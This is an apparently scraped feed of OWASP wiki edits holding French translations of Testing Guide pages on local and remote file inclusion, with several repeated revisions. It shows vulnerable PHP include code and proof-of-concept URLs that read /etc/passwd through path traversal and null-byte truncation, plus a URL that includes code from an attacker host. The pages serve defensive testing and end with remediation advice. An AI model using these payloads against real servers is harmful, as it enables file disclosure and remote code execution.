[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.1 Tester l'inclusion de fichiers locaux]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.2 Tester l'inclusion de fichiers distants]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.13 Tester les injections de commandes (OTG-INPVAL-013)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.12.2_Tester_l%27inclusion_de_fichiers_distants&amp;diff=187924</id>
		<title>4.8.12.2 Tester l'inclusion de fichiers distants</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.12.2_Tester_l%27inclusion_de_fichiers_distants&amp;diff=187924"/>
				<updated>2015-01-12T19:07:21Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  == Sommaire ==   Une vulnérabilité d'inclusion de fichier permet à un attaquant d'inclure un fichier, usuellement en eploitant un méca...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
 &lt;br /&gt;
Une vulnérabilité d'inclusion de fichier permet à un attaquant d'inclure un fichier, usuellement en eploitant un mécanisme d'inclusion dynamique de fichier implémenté dans l'application visée. La vulnérabilité survient à cause d'entrées utilisateur utilisées sans validation correcte.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela peut entraîner comme impact l'affichage du contenu du fichier, mais selon la criticité, cela peut aussi causer :&lt;br /&gt;
&lt;br /&gt;
* L'exécution de code sur le serveur web&lt;br /&gt;
* L'exécution de code côté client, comme du JavaScript, qui peut permettre d'autres attaques comme le cross site scripting (XSS)&lt;br /&gt;
* Un déni de service (DOS)&lt;br /&gt;
* Des fuites d'informations sensibles&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'inclusion de fichiers locaux (aussi connue sous le nom de LFI : '''Local File Inclusion''') est le processus par lequel on va inclure des fichiers déjà présents sur le serveur, en exploitant des procédures d'inclusion vulnérables implémentée par l'application. Cette vulnérabilité advient, par exemple, lorsqu'une page reçoit en entrée le chemin d'un fichier devant être inclus et que cette entrée n'est pas validée correctement, autorisant l'injection d'une URL externe. Bien que la plupart de nos exemples soient en PHP, c'est une vulnérabilité commune à d'autres technologies comme JSP, ASP, etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
&lt;br /&gt;
Comme les LFI adviennent quand des chemins passés à des instructions &amp;quot;include&amp;quot; ne sont pas correctement validés, dans une approche en boite noire, il faudra rechercher les scripts qui prennent des noms de fichiers en paramètres. Considérons l'exemple PHP suivant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$incfile = $_REQUEST[&amp;quot;file&amp;quot;];&lt;br /&gt;
include($incfile.&amp;quot;.php&amp;quot;);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans cet exemple le chemin est extrait de la quête HTTP et aucune validation d'entrée n'est faite (par exemple vérifier que l'entrée est dans une liste blanche), donc ce morceau de code cause une vulnérabilité à ce type d'attaque :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce cas, le fichier distant va être inclus ainsi que tout le code qu'il contient et sera exécuté par le serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* “Remote File Inclusion” - http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion&lt;br /&gt;
* Wikipedia: &amp;quot;Remote File Inclusion&amp;quot; - http://en.wikipedia.org/wiki/Remote_File_Inclusion&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remédiation ==&lt;br /&gt;
&lt;br /&gt;
La solution la plus efficace pour éliminer les vulnérabilités d'inclusion de fichier est d'éviter de passer des entrées utilisateurs à toute API de système de fichiers. Si ce n'est pas possible, l'application peut maintenir une liste blanche de fichiers pouvant être inclus dans la page, et utiliser un identifiant (par exemple l'index) pour accéder au fichier sélectionné. Toute requête contenant un identifiant invalide devra être rejetée, ainsi il n'y aura pas de surface d'attaque permettant aux utilisateurs malicieux de manipuler le chemin.&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187923</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187923"/>
				<updated>2015-01-12T19:06:58Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.1 Tester l'inclusion de fichiers locaux]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.2 Tester l'inclusion de fichiers distants]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.12.1_Tester_l%27inclusion_de_fichiers_locaux&amp;diff=187922</id>
		<title>4.8.12.1 Tester l'inclusion de fichiers locaux</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.12.1_Tester_l%27inclusion_de_fichiers_locaux&amp;diff=187922"/>
				<updated>2015-01-12T19:02:45Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
 &lt;br /&gt;
Une vulnérabilité d'inclusion de fichier permet à un attaquant d'inclure un fichier, usuellement en eploitant un mécanisme d'inclusion dynamique de fichier implémenté dans l'application visée. La vulnérabilité survient à cause d'entrées utilisateur utilisées sans validation correcte.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela peut entraîner comme impact l'affichage du contenu du fichier, mais selon la criticité, cela peut aussi causer :&lt;br /&gt;
&lt;br /&gt;
* L'exécution de code sur le serveur web&lt;br /&gt;
* L'exécution de code côté client, comme du JavaScript, qui peut permettre d'autres attaques comme le cross site scripting (XSS)&lt;br /&gt;
* Un déni de service (DOS)&lt;br /&gt;
* Des fuites d'informations sensibles&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'inclusion de fichiers locaux (aussi connue sous le nom de LFI : '''Local File Inclusion''') est le processus par lequel on va inclure des fichiers déjà présents sur le serveur, en exploitant des procédures d'inclusion vulnérables implémentée par l'application. Cette vulnérabilité advient, par exemple, lorsqu'une page reçoit en entrée le chemin d'un fichier devant être inclus et que cette entrée n'est pas validée correctement, autorisant l'injection de caractères permettant de changer de répertoire (tels que point-point-slash). Bien que la plupart de nos exemples soient en PHP, c'est une vulnérabilité commune à d'autres technologies comme JSP, ASP, etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
 &lt;br /&gt;
Comme les LFI adviennent quand des chemins passés à des instructions &amp;quot;include&amp;quot; ne sont pas correctement validés, dans une approche en boite noire, il faudra rechercher les scripts qui prennent des noms de fichiers en paramètres.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Considérons l'exemple suivant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=example.html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela semble être l'endroit parfait pour tenter un LFI. Si un attaquant a assez de chance, et que le script inclut directement le paramètre au lieu de sélectionner la page dans un tableau, il est possible d'inclure arbitrairement tout fichier du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une preuve de concept typique est de charger le fichier des mots de passe :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=../../../../etc/passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si les conditions mentionnées plus haut sont réunies, un attaquant verra quelque chose ressemblant à :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root:x:0:0:root:/root:/bin/bash&lt;br /&gt;
bin:x:1:1:bin:/bin:/sbin/nologin&lt;br /&gt;
daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;br /&gt;
alex:x:500:500:alex:/home/alex:/bin/bash&lt;br /&gt;
margo:x:501:501::/home/margo:/bin/bash&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Très souvent, même quand de telles vulnérabilités existent, leurr exploitation est un peu plus complexe. Considérons le morceau de code suivant :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php “include/”.include($_GET['filename'].“.php”); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce cas, un simple remplacement du nom du fichier ne fonctionnera pas puisque le suffixe '.php' est ajouté. Pour contourner cela, on utilise une technique avec des terminateurs octets nuls. Comme %00 indique la fin de la chaîne, tout caractère suivant cet octet spécial sera ignoré. Ainsi, la requête suivante retournera aussi la liste des attributs basiques des utilisateurs :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
&lt;br /&gt;
* Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion&lt;br /&gt;
* Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remédiation ==&lt;br /&gt;
&lt;br /&gt;
La solution la plus efficace pour éliminer les vulnérabilités d'inclusion de fichier est d'éviter de passer des entrées utilisateurs à toute API de système de fichiers. Si ce n'est pas possible, l'application peut maintenir une liste blanche de fichiers pouvant être inclus dans la page, et utiliser un identifiant (par exemple l'index) pour accéder au fichier sélectionné. Toute requête contenant un identifiant invalide devra être rejetée, ainsi il n'y aura pas de surface d'attaque permettant aux utilisateurs malicieux de manipuler le chemin.&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.12.1_Tester_l%27inclusion_de_fichiers_locaux&amp;diff=187921</id>
		<title>4.8.12.1 Tester l'inclusion de fichiers locaux</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.12.1_Tester_l%27inclusion_de_fichiers_locaux&amp;diff=187921"/>
				<updated>2015-01-12T18:59:21Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
 &lt;br /&gt;
Une vulnérabilité d'inclusion de fichier permet à un attaquant d'inclure un fichier, usuellement en eploitant un mécanisme d'inclusion dynamique de fichier implémenté dans l'application visée. La vulnérabilité survient à cause d'entrées utilisateur utilisées sans validation correcte.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela peut entraîner comme impact l'affichage du contenu du fichier, mais selon la criticité, cela peut aussi causer :&lt;br /&gt;
&lt;br /&gt;
* L'exécution de code sur le serveur web&lt;br /&gt;
* L'exécution de code côté client, comme du JavaScript, qui peut permettre d'autres attaques comme le cross site scripting (XSS)&lt;br /&gt;
* Un déni de service (DOS)&lt;br /&gt;
* Des fuites d'informations sensibles&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'inclusion de fichiers locaux (aussi connue sous le nom de LFI : '''Local File Inclusion''') est le processus par lequel on va inclure des fichiers déjà présents sur le serveur, en exploitant des procédures d'inclusion vulnérables implémentée par l'application. Cette vulnérabilité advient, par exemple, lorsqu'une page reçoit en entrée le chemin d'un fichier devant être inclus et que cette entrée n'est pas validée correctement, autorisant l'injection de caractères permettant de changer de répertoire (tels que point-point-slash). Bien que la plupart de nos exemples soient en PHP, c'est une vulnérabilité commune à d'autres technologies comme JSP, ASP, etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
 &lt;br /&gt;
Comme les LFI adviennent quand des chemins passés à des instructions &amp;quot;include&amp;quot; ne sont pas correctement validés, dans un approche en boite noire, il faudra rechercher les scripts qui prennent des noms de fichiers en paramètres.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Considérons l'exemple suivant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=example.html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela semble être l'endroit parfait pour tenter un LFI. Si un attaquant a assez de chance, et que le script inclut directement le paramètre au lieu de sélectionner la page dans un tableau, il est possible d'inclure arbitrairement tout fichier du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une preuve de concept typique est de charger le fichier des mots de passe :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=../../../../etc/passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si les conditions mentionnées plus haut sont réunies, un attaquant verra quelque chose ressemblant à :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root:x:0:0:root:/root:/bin/bash&lt;br /&gt;
bin:x:1:1:bin:/bin:/sbin/nologin&lt;br /&gt;
daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;br /&gt;
alex:x:500:500:alex:/home/alex:/bin/bash&lt;br /&gt;
margo:x:501:501::/home/margo:/bin/bash&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Très souvent, même quand de telles vulnérabilités existent, leurr exploitation est un peu plus complexe. Considérons le morceau de code suivant :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php “include/”.include($_GET['filename'].“.php”); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce cas, un simple remplacement du nom du fichier ne fonctionnera pas puisque le suffixe '.php' est ajouté. Pour contourner cela, on utilise une technique avec des terminateurs octets nuls. Comme %00 indique la fin de la chaîne, tout caractère suivant cet octet spécial sera ignoré. Ainsi, la requête suivante retournera aussi la liste des attributs basiques des utilisateurs :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
&lt;br /&gt;
* Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion&lt;br /&gt;
* Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remédiation ==&lt;br /&gt;
&lt;br /&gt;
La solution la plus efficace pour éliminer les vulnérabilités d'inclusion de fichier est d'éviter de passer des entrées utilisateurs à toute API de système de fichiers. Si ce n'est pas possible, l'application peut maintenir une liste blanche de fichiers pouvant être inclus dans la page, et utiliser un identifiant (par exemple l'index) pour accéder au fichier sélectionné. Toute requête contenant un identifiant invalide devra être rejetée, ainsi il n'y aura pas de surface d'attaque permettant aux utilisateurs malicieux de manipuler le chemin.&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.12.1_Tester_l%27inclusion_de_fichiers_locaux&amp;diff=187920</id>
		<title>4.8.12.1 Tester l'inclusion de fichiers locaux</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.12.1_Tester_l%27inclusion_de_fichiers_locaux&amp;diff=187920"/>
				<updated>2015-01-12T18:49:10Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}} == Sommaire ==   Une vulnérabilité d'inclusion de fichier permet à un attaquant d'inclure un fichier, usuellement en eploitant un mécan...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
 &lt;br /&gt;
Une vulnérabilité d'inclusion de fichier permet à un attaquant d'inclure un fichier, usuellement en eploitant un mécanisme d'inclusion dynamique de fichier implémenté dans l'application visée. La vulnérabilité survient à cause d'entrées utilisateur utilisées sans validation correcte.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela peut entraîner une impact comme l'affichage du contenu du fichier, mais selon lé criticité, cela peut aussi causer :&lt;br /&gt;
&lt;br /&gt;
* L'exécution de code sur le serveur web&lt;br /&gt;
* L'exécution de code côté client, comme du JavaScript, qui peut permettre d'autres attaques comme le cross site scripting (XSS)&lt;br /&gt;
* Un déni de service (DOS)&lt;br /&gt;
* Des fuites d'informations sensibles&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'inclusion de fichiers locaux (aussi connue sous le nom de LFI : '''Local File Inclusion''') est le processus par lequel on va inclure des fichiers déjà présents sur le serveur, en exploitant des procédures d'inclusion vulnérables implémentée par l'application. Cette vulnérabilité advient, par exemple, lorsqu'une page reçoit en entrée le chemin d'un fichier devant être inclus et que cette entrée n'est pas validée correctement, autorisant l'injection de caractères permettant de changer de répertoire (tels que point-point-slash). Bien que la plupart de nos exemples soient en PHP, c'est une vulnérabilité commune à d'autres technologies comme JSP, ASP, etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
 &lt;br /&gt;
Comme les LFI adviennent quand des chemins passés à des instructions &amp;quot;include&amp;quot; ne sont pas correctement validés, dans un approche en boite noire, il faudra rechercher les scripts qui prennent des noms de fichiers en paramètres.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Considérons l'exemple suivant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=example.html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela semble être l'endroit parfait pour tenter un LFI. Si un attaquant a assez de chance, et que le script inclut directement le paramètre au lieu de sélectionner la page dans un tableau, il est possible d'inclure arbitrairement tout fichier du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une preuve de concept typique est de charger le fichier des mots de passe :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=../../../../etc/passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si les conditions mentionnées plus haut sont réunies, un attaquant verra quelque chose ressemblant à :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root:x:0:0:root:/root:/bin/bash&lt;br /&gt;
bin:x:1:1:bin:/bin:/sbin/nologin&lt;br /&gt;
daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;br /&gt;
alex:x:500:500:alex:/home/alex:/bin/bash&lt;br /&gt;
margo:x:501:501::/home/margo:/bin/bash&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Très souvent, même quand de telles vulnérabilités existent, leurr exploitation est un peu plus complexe. Considérons le morceau de code suivant :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php “include/”.include($_GET['filename'].“.php”); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce cas, un simple remplacement du nom du fichier ne fonctionnera pas puisque le suffixe '.php' est ajouté. Pour contourner cela, on utilise une technique avec des terminateurs octets nuls. Comme %00 indique la fin de la chaîne, tout caractère suivant cet octet spécial sera ignoré. Ainsi, la requête suivante retournera aussi la liste des attributs basiques des utilisateurs :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
&lt;br /&gt;
* Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion&lt;br /&gt;
* Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Remédiation ==&lt;br /&gt;
&lt;br /&gt;
La solution la plus efficace pour éliminer les vulnérabilités d'inclusion de fichier est d'éviter de passer des entrées utilisateurs à toute API de système de fichiers. Si ce n'est pas possible, l'application peut maintenir une liste blanche de fichiers pouvant être inclus dans la page, et utiliser un identifiant (par exemple l'index) pour accéder au fichier sélectionné. Toute requête contenant un identifiant invalide devra être rejetée, ainsi il n'y aura pas de surface d'attaque permettant aux utilisateurs malicieux de manipuler le chemin.&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187919</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187919"/>
				<updated>2015-01-12T18:48:50Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
